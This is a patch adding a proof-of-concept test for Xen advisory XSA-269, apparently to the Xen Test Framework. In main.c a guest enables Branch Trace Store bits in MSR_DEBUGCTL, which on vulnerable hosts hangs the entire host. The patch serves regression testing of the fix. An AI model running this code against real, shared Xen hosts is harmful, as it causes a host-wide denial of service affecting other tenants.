XSA-269 PoC

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

diff --git a/arch/x86/include/arch/cpuid.h b/arch/x86/include/arch/cpuid.h
index e6fe5b9ffae5a966b5a4ef37d760eb24825f06ba..f91117a3088086eb2c735e6e5c4aa5c8deb41641 100644 (file)
--- a/arch/x86/include/arch/cpuid.h
+++ b/arch/x86/include/arch/cpuid.h
@@ -68,6 +68,7 @@ static inline bool cpu_has(unsigned int feature)
 #define cpu_has_mca             cpu_has(X86_FEATURE_MCA)
 #define cpu_has_pat             cpu_has(X86_FEATURE_PAT)
 #define cpu_has_pse36           cpu_has(X86_FEATURE_PSE36)
+#define cpu_has_ds              cpu_has(X86_FEATURE_DS)
 #define cpu_has_mmx             cpu_has(X86_FEATURE_MMX)
 #define cpu_has_fxsr            cpu_has(X86_FEATURE_FXSR)
 

diff --git a/arch/x86/include/arch/msr-index.h b/arch/x86/include/arch/msr-index.h
index be7a6d9de0fedddce8df3acf65c8dc79f40c2590..6a70bcfdb26355ee16f58601c3ffd7ba0f542417 100644 (file)
--- a/arch/x86/include/arch/msr-index.h
+++ b/arch/x86/include/arch/msr-index.h
@@ -27,6 +27,9 @@
 
 #define MSR_DEBUGCTL                    0x000001d9
 #define DEBUGCTL_LBR                    (_AC(1, ULL) <<  0) /* Last Branch Record */
+#define DEBUGCTL_TR                     (_AC(1, ULL) <<  6) /* Trace Message Enable */
+#define DEBUGCTL_BTS                    (_AC(1, ULL) <<  7) /* Branch Trace Store */
+#define DEBUGCTL_BTINT                  (_AC(1, ULL) <<  8) /* Branch Trace Interrupt */
 
 #define MSR_FIXED_CTR(n)               (0x00000309 + (n))
 #define MSR_PERF_CAPABILITIES           0x00000345

diff --git a/docs/all-tests.dox b/docs/all-tests.dox
index 177e39814984b8e561af7524b380d61c940eee91..bb5dab8859ebd2294a71035d817dec484fc2fd08 100644 (file)
--- a/docs/all-tests.dox
+++ b/docs/all-tests.dox
@@ -123,6 +123,9 @@ guest breakout.
 @subpage test-xsa-265 - x86: @#DB exception safety check can be triggered by a
 guest.
 
+@subpage test-xsa-269 - x86: Incorrect MSR_DEBUGCTL handling lets guests
+enable BTS.
+
 
 @section index-utility Utilities
 

diff --git a/tests/xsa-269/Makefile b/tests/xsa-269/Makefile
new file mode 100644 (file)
index 0000000..a8c9542
--- /dev/null
+++ b/tests/xsa-269/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-269
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk

diff --git a/tests/xsa-269/main.c b/tests/xsa-269/main.c
new file mode 100644 (file)
index 0000000..581709d
--- /dev/null
+++ b/tests/xsa-269/main.c
@@ -0,0 +1,68 @@
+/**
+ * @file tests/xsa-269/main.c
+ * @ref test-xsa-269
+ *
+ * @page test-xsa-269 XSA-269
+ *
+ * Advisory: [XSA-269](http://xenbits.xen.org/xsa/advisory-269.html)
+ *
+ * Before XSA-269, no reserved bit checking was performed for writes to
+ * MSR_DEBUGCTL.  Branch Trace Store isn't virtualised, and must only be
+ * accessable to fully trusted guests, as a misconfiguration locks up the
+ * entire host.
+ *
+ * After XSA-169, vPMU was removed from security support, so the CPUID bit are
+ * expected to be hidden, even when the XSA-269 vulnerability is present.
+ *
+ * This test tries to blindly turn on BTS.  If Xen doesn't hang, is isn't
+ * vulnerable to XSA-269.
+ *
+ * @see tests/xsa-269/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-269 PoC";
+
+void test_main(void)
+{
+    unsigned int i;
+    uint64_t val = 0;
+
+    /*
+     * If Debug Store is advertised, presume that vPMU is properly configured
+     * for this domain, and that we're trusted not to (mis)use it.
+     */
+    if ( cpu_has_ds )
+        return xtf_skip("Skip: Debug Store is available\n");
+
+    /*
+     * We cannot rely on CPUID bits, as vPMU is disabled by default.  Turn on
+     * each part of BTS individually to reduce the chance of the host hang
+     * being mitigated by a vmentry failure.  If vulnerable, we'd expect a
+     * host lockup on the vmentry following the setting of BTS.
+     */
+    wrmsr_safe(MSR_DEBUGCTL, val |= DEBUGCTL_TR);
+    wrmsr_safe(MSR_DEBUGCTL, val |= DEBUGCTL_BTS);
+    wrmsr_safe(MSR_DEBUGCTL, val |= DEBUGCTL_BTINT);
+
+    /*
+     * If we're still alive, generate a billion jumps to check that BTS really
+     * is disabled.
+     */
+    for ( i = 0; i < GB(1); ++i )
+        barrier();
+
+    /* If we're still alive at this point, Xen is definitely not vulnerable. */
+
+    xtf_success("Success: Not vulnerable to XSA-269\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */